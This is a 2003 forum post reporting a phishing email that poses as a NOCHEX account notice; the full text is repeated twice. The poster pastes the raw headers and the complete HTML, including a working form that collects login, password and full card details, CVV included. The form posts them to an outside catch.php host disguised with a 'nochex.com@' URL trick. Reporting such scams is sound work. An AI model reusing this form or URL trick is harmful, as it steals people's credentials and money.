kcdworks
05-28-2003, 03:04 PM
I recieved the following message; items in red have been edited from the headers. Forwarded this to the host listed, to the bandwidth provider (Yipes) and to the host where the catch script is.
This is (for anyone that doesn't want to bother reading the HTML I'm pasting) a request for me to update my NoCHEX information. I am in Dallas, TX, and obviously have nothing to do with NoCHEX. This is similar to the eBay scams that have happened recently. The difference here is that the form is embedded in the email rather than asking you to visit a site to update it.
---------------------------------------------------------------
Return-path: <nobody@cerebellum.nationhosts.com>
Envelope-to: email@mydomain.org
Delivery-date: Wed, 28 May 2003 18:49:45 +0000
Received: from nationhosts.com ([66.227.104.219] helo=cerebellum.nationhosts.com)
by my.host.name with esmtp (TLSv1:DES-CBC3-SHA:168)
(Exim 3.36 #1)
id 19L5za-0001tk-00
for email@mydomain.org; Wed, 28 May 2003 18:49:42 +0000
Received: from nobody by cerebellum.nationhosts.com with local (Exim 3.36 #1)
id 19L5zq-0000QC-00
for email@mydomain.org; Wed, 28 May 2003 14:49:58 -0400
To: email@mydomain.org
Subject: Dear NOCHEX Customer
MIME-Version: 1.0
Content-type: text/html; charset=iso-8859-1
From: Accounts@NOCHEX.com
Reply-To: Security@NOCHEX.com
Message-Id: <E19L5zq-0000QC-00@cerebellum.nationhosts.com>
Date: Wed, 28 May 2003 14:49:58 -0400
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - cerebellum.nationhosts.com
X-AntiAbuse: Original Domain - mydomain.org
X-AntiAbuse: Originator/Caller UID/GID - [99 99] / [99 99]
X-AntiAbuse: Sender Address Domain - cerebellum.nationhosts.com
<html>
<TABLE cellSpacing=0 cellPadding=0 width=600 align=center border=0>
<TBODY>
<TR>
<TD><img border=0 src=http://support.NOCHEX.com/web/gfx/homepagetop.gif width=631 height=79>
</TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=5 width=600 align=center border=0>
<TBODY>
<TR>
<TD class=pp_sortofbig align=middle>Dear NOCHEX Customer</TD></TR>
<TR>
<TD vAlign=top>
<P> </P>
<P>This e-mail is the notification of recent innovations taken by NOCHEX
to detect inactive customers and non-functioning mailboxes.</P>
<P>The inactive customers are subject to restriction and removal in the
next 3 months.</P>
<P>Please confirm your email address and and Credit Card info<B 8pt
font-size: bold; font-weight: normal; font-variant:> </B>number by logging
in to your NOCHEX account using the form below:</P></TD></TR>
<TR>
<TD align=middle>
<FORM action=http://nochex.com@server1.freehu.com/16/fusen/matt/catch.php
method=post><BR><BR>
<CENTER>
<TABLE border=0>
<TBODY>
<TR>
<TD><B style=FONT-WEIGHT: bold 8pt>Email Address:</B></TD>
<TD><INPUT maxLength=32 size=30 name=lgn></TD></TR>
<TR>
<TD><B style=FONT-WEIGHT: bold 8pt>Password:</B></TD>
<TD><INPUT type=password maxLength=32 size=30 name=psw></TD></TR>
<TR>
<TD><B 8pt font-size: bold; font-weight: normal; font-variant:>Full
Name : </B></TD>
<TD><INPUT maxLength=32 size=30 name=full_name></TD></TR>
<TR>
<TD><B 8pt font-size: bold; font-weight: normal; font-variant:>Card
Type:</B></TD>
<TD><SELECT name=card_type> <OPTION value=> </OPTION>
<OPTION value=V selected>Visa/Delta/Electron</OPTION> <OPTION
value=M>MasterCard/Eurocard</OPTION> <OPTION
value=D>Discover</OPTION> <OPTION value=A>American
Express</OPTION> <OPTION value=S>Switch</OPTION> <OPTION
value=O>Solo</OPTION></SELECT> </TD></TR>
<TR>
<TD><B 8pt font-size: bold; font-weight: normal;
font-variant:>Credit Card #: </B></TD>
<TD><INPUT maxLength=16 size=30 name=cc></TD>
<TR>
<TD><B 8pt font-size: bold; font-weight: normal;
font-variant:>Exp.Date(mm/yyyy) #: </B></TD>
<TD><INPUT maxLength=7 size=30 name=exp_date></TD></TR>
<TR>
<TD><B 8pt font-size: bold; font-weight: normal; font-variant:>Card
Verification <BR>Number:</B></TD>
<TD><INPUT maxLength=4 size=3 name=val><FONT color=red size=1>(3
digits, on back of card) </FONT></TD></TR></TBODY></TABLE>
<P><INPUT type=submit value=Confirm> </P></FORM>
<P><BR><SPAN class=pp_smalltext>This notification expires May 31,
2003</SPAN> </P></CENTER></TD></TR>
<TR>
<TD align=middle>
<table width=610 height=32 cellpadding=0 cellspacing=0>
<tr>
<td width=640 height=12 valign=top colspan=11><img src=http://support.nochex.com/web/gfx/homepagebottom.gif width=640 height=12 alt=NOCHEX Email Money. Homepage.></td>
</tr></table>
<BR><STRONG>Thanks for using NOCHEX! </STRONG><BR></TD></TR>
<TR>
<TD><IMG src=paypal_files/dot_row_long.gif width=590 height=5></TD></TR>
<TR>
<TD class=pp_footer><BR>Copyright© 2002 NOCHEX Inc. All rights reserved. Designated
trademarks and brands are the property of their respective owners.
</TD></TR></TBODY></TABLE>
</html>
-------------------------------------------------------------------
Just posted for the curious, or perhaps if there is someone from "nationhosts", FDCServers (where the IP address is) or Yipes that happens to visit these forums, hopefully they will shut this down.
This is (for anyone that doesn't want to bother reading the HTML I'm pasting) a request for me to update my NoCHEX information. I am in Dallas, TX, and obviously have nothing to do with NoCHEX. This is similar to the eBay scams that have happened recently. The difference here is that the form is embedded in the email rather than asking you to visit a site to update it.
---------------------------------------------------------------
Return-path: <nobody@cerebellum.nationhosts.com>
Envelope-to: email@mydomain.org
Delivery-date: Wed, 28 May 2003 18:49:45 +0000
Received: from nationhosts.com ([66.227.104.219] helo=cerebellum.nationhosts.com)
by my.host.name with esmtp (TLSv1:DES-CBC3-SHA:168)
(Exim 3.36 #1)
id 19L5za-0001tk-00
for email@mydomain.org; Wed, 28 May 2003 18:49:42 +0000
Received: from nobody by cerebellum.nationhosts.com with local (Exim 3.36 #1)
id 19L5zq-0000QC-00
for email@mydomain.org; Wed, 28 May 2003 14:49:58 -0400
To: email@mydomain.org
Subject: Dear NOCHEX Customer
MIME-Version: 1.0
Content-type: text/html; charset=iso-8859-1
From: Accounts@NOCHEX.com
Reply-To: Security@NOCHEX.com
Message-Id: <E19L5zq-0000QC-00@cerebellum.nationhosts.com>
Date: Wed, 28 May 2003 14:49:58 -0400
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - cerebellum.nationhosts.com
X-AntiAbuse: Original Domain - mydomain.org
X-AntiAbuse: Originator/Caller UID/GID - [99 99] / [99 99]
X-AntiAbuse: Sender Address Domain - cerebellum.nationhosts.com
<html>
<TABLE cellSpacing=0 cellPadding=0 width=600 align=center border=0>
<TBODY>
<TR>
<TD><img border=0 src=http://support.NOCHEX.com/web/gfx/homepagetop.gif width=631 height=79>
</TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=5 width=600 align=center border=0>
<TBODY>
<TR>
<TD class=pp_sortofbig align=middle>Dear NOCHEX Customer</TD></TR>
<TR>
<TD vAlign=top>
<P> </P>
<P>This e-mail is the notification of recent innovations taken by NOCHEX
to detect inactive customers and non-functioning mailboxes.</P>
<P>The inactive customers are subject to restriction and removal in the
next 3 months.</P>
<P>Please confirm your email address and and Credit Card info<B 8pt
font-size: bold; font-weight: normal; font-variant:> </B>number by logging
in to your NOCHEX account using the form below:</P></TD></TR>
<TR>
<TD align=middle>
<FORM action=http://nochex.com@server1.freehu.com/16/fusen/matt/catch.php
method=post><BR><BR>
<CENTER>
<TABLE border=0>
<TBODY>
<TR>
<TD><B style=FONT-WEIGHT: bold 8pt>Email Address:</B></TD>
<TD><INPUT maxLength=32 size=30 name=lgn></TD></TR>
<TR>
<TD><B style=FONT-WEIGHT: bold 8pt>Password:</B></TD>
<TD><INPUT type=password maxLength=32 size=30 name=psw></TD></TR>
<TR>
<TD><B 8pt font-size: bold; font-weight: normal; font-variant:>Full
Name : </B></TD>
<TD><INPUT maxLength=32 size=30 name=full_name></TD></TR>
<TR>
<TD><B 8pt font-size: bold; font-weight: normal; font-variant:>Card
Type:</B></TD>
<TD><SELECT name=card_type> <OPTION value=> </OPTION>
<OPTION value=V selected>Visa/Delta/Electron</OPTION> <OPTION
value=M>MasterCard/Eurocard</OPTION> <OPTION
value=D>Discover</OPTION> <OPTION value=A>American
Express</OPTION> <OPTION value=S>Switch</OPTION> <OPTION
value=O>Solo</OPTION></SELECT> </TD></TR>
<TR>
<TD><B 8pt font-size: bold; font-weight: normal;
font-variant:>Credit Card #: </B></TD>
<TD><INPUT maxLength=16 size=30 name=cc></TD>
<TR>
<TD><B 8pt font-size: bold; font-weight: normal;
font-variant:>Exp.Date(mm/yyyy) #: </B></TD>
<TD><INPUT maxLength=7 size=30 name=exp_date></TD></TR>
<TR>
<TD><B 8pt font-size: bold; font-weight: normal; font-variant:>Card
Verification <BR>Number:</B></TD>
<TD><INPUT maxLength=4 size=3 name=val><FONT color=red size=1>(3
digits, on back of card) </FONT></TD></TR></TBODY></TABLE>
<P><INPUT type=submit value=Confirm> </P></FORM>
<P><BR><SPAN class=pp_smalltext>This notification expires May 31,
2003</SPAN> </P></CENTER></TD></TR>
<TR>
<TD align=middle>
<table width=610 height=32 cellpadding=0 cellspacing=0>
<tr>
<td width=640 height=12 valign=top colspan=11><img src=http://support.nochex.com/web/gfx/homepagebottom.gif width=640 height=12 alt=NOCHEX Email Money. Homepage.></td>
</tr></table>
<BR><STRONG>Thanks for using NOCHEX! </STRONG><BR></TD></TR>
<TR>
<TD><IMG src=paypal_files/dot_row_long.gif width=590 height=5></TD></TR>
<TR>
<TD class=pp_footer><BR>Copyright© 2002 NOCHEX Inc. All rights reserved. Designated
trademarks and brands are the property of their respective owners.
</TD></TR></TBODY></TABLE>
</html>
-------------------------------------------------------------------
Just posted for the curious, or perhaps if there is someone from "nationhosts", FDCServers (where the IP address is) or Yipes that happens to visit these forums, hopefully they will shut this down.